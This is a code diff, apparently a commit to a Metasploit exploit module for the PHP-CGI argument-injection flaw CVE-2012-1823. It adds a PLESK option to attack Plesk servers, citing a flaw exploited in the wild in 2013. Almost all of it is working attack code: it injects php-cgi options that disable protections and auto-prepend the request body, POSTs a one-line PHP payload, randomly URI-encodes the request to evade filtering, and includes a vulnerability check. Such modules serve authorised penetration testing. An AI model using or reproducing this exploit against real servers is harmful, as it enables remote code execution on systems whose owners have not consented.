@@ -23,18 +23,24 @@ def initialize(info = {})
23
23
the string is split on '+' (encoded space) characters, urldecoded,
24
24
passed to a function that escapes shell metacharacters (the "encoded in
25
25
a system-defined manner" from the RFC) and then passes them to the CGI
26
- binary."
26
+ binary." This module can also be used to exploit the plesk 0day disclosed
27
+ by kingcope and exploited in the wild on June 2013.
27
28
} ,
28
29
'Author' =>
29
30
[
30
- 'egypt' , 'hdm' , #original msf exploit
31
- 'jjarmoc' #added URI encoding obfuscation
31
+ 'egypt' , 'hdm' , #original msf exploit
32
+ 'jjarmoc' , #added URI encoding obfuscation
33
+ 'kingcope' , #plesk poc
34
+ 'juan vazquez' #add support for plesk exploitation
32
35
] ,
33
36
'License' => MSF_LICENSE ,
34
37
'References' => [
35
- [ 'CVE' , '2012-1823' ] ,
38
+ [ 'CVE' , '2012-1823' ] ,
36
39
[ 'OSVDB' , '81633' ] ,
37
- [ 'URL' , 'http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/' ] ,
40
+ [ 'OSVDB' , '93979' ] ,
41
+ [ 'EDB' , '25986' ] ,
42
+ [ 'URL' , 'http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/' ] ,
43
+ [ 'URL' , 'http://kb.parallels.com/en/116241' ]
38
44
] ,
39
45
'Privileged' => false ,
40
46
'Payload' =>
@@ -53,22 +59,20 @@ def initialize(info = {})
53
59
register_options ( [
54
60
OptString . new ( 'TARGETURI' , [ false , "The URI to request (must be a CGI-handled PHP script)" ] ) ,
55
61
OptInt . new ( 'URIENCODING' , [ true , "Level of URI URIENCODING and padding (0 for minimum)" , 0 ] ) ,
56
- ] , self . class )
62
+ OptBool . new ( 'PLESK' , [ true , "Exploit Plesk" , false ] ) ,
63
+ ] , self . class )
57
64
end
58
65
59
66
# php-cgi -h
60
67
# ...
61
68
# -s Display colour syntax highlighted source.
62
69
def check
63
- uri = normalize_uri ( target_uri . path )
64
-
65
- uri . gsub! ( /\? .*/ , "" )
66
70
67
71
print_status ( "Checking uri #{ uri } " )
68
72
69
73
response = send_request_raw ( { 'uri' => uri } )
70
74
71
- if response and response . code == 200 and response . body =~ /\< code\> \< span style.*\& lt\; \? /mi
75
+ if response and response . code == 200 and response . body =~ /\< code\> \< span style.*\& lt\; \? /mi and not datastore [ 'PLESK' ]
72
76
print_error ( "Server responded in a way that was ambiguous, could not determine whether it was vulnerable" )
73
77
return Exploit ::CheckCode ::Unknown
74
78
end
@@ -78,10 +82,30 @@ def check
78
82
return Exploit ::CheckCode ::Vulnerable
79
83
end
80
84
85
+ if datastore [ 'PLESK' ] and response and response . code == 500
86
+ return Exploit ::CheckCode ::Appears
87
+ end
88
+
81
89
print_error ( "Server responded indicating it was not vulnerable" )
82
90
return Exploit ::CheckCode ::Safe
83
91
end
84
92
93
+ def uri
94
+ if datastore [ 'PLESK' ]
95
+ normalize_uri ( "phppath" , "php" )
96
+ else
97
+ normalize_uri ( target_uri . path ) . gsub ( /\? .*/ , "" )
98
+ end
99
+ end
100
+
101
+ def uri_encoding_level
102
+ if datastore [ 'PLESK' ]
103
+ return 0
104
+ else
105
+ return datastore [ 'URIENCODING' ]
106
+ end
107
+ end
108
+
85
109
def exploit
86
110
begin
87
111
args = [
@@ -92,19 +116,17 @@ def exploit
92
116
create_arg ( "-d" , 'disable_functions=""' ) ,
93
117
create_arg ( "-d" , "open_basedir=none" ) ,
94
118
create_arg ( "-d" , "auto_prepend_file=php://input" ) ,
95
- create_arg ( "-n" )
119
+ rand_opt_equiv ( "-n" )
96
120
]
97
121
98
122
qs = args . join ( )
99
- uri = normalize_uri ( target_uri . path )
100
- uri = "#{ uri } ?#{ qs } "
101
123
102
124
# Has to be all on one line, so gsub out the comments and the newlines
103
125
payload_oneline = "<?php " + payload . encoded . gsub ( /\s *#.*$/ , "" ) . gsub ( "\n " , "" )
104
126
response = send_request_cgi ( {
105
127
'method' => "POST" ,
106
128
'global' => true ,
107
- 'uri' => uri ,
129
+ 'uri' => " #{ uri } ? #{ qs } " ,
108
130
'data' => payload_oneline ,
109
131
} , 0.5 )
110
132
handler
@@ -166,7 +188,7 @@ def rand_opt_equiv(opt)
166
188
def rand_encode ( string , max = string . length )
167
189
# Randomly URI encode characters from string, up to max times.
168
190
chars = [ ] ;
169
- if max > datastore [ "URIENCODING" ] then max = datastore [ "URIENCODING" ] end
191
+ if max > uri_encoding_level then max = uri_encoding_level end
170
192
if string . length == 1
171
193
if rand ( 2 ) > 0
172
194
chars << 0
@@ -180,7 +202,7 @@ def rand_encode(string, max = string.length)
180
202
string
181
203
end
182
204
183
- def rand_spaces ( num = datastore [ "URIENCODING" ] )
205
+ def rand_spaces ( num = uri_encoding_level )
184
206
ret = ''
185
207
num . times {
186
208
ret << rand_space
@@ -189,11 +211,11 @@ def rand_spaces(num = datastore["URIENCODING"])
189
211
end
190
212
191
213
def rand_space
192
- datastore [ "URIENCODING" ] > 0 ? [ "%20" , "%09" , "+" ] [ rand ( 3 ) ] : "+"
214
+ uri_encoding_level > 0 ? [ "%20" , "%09" , "+" ] [ rand ( 3 ) ] : "+"
193
215
end
194
216
195
217
def rand_dash
196
- datastore [ "URIENCODING" ] > 0 ? [ "-" , "%2d" , "%2D" ] [ rand ( 3 ) ] : "-"
218
+ uri_encoding_level > 0 ? [ "-" , "%2d" , "%2D" ] [ rand ( 3 ) ] : "-"
197
219
end
198
220
199
221
def rand_php_ini_false
0 commit comments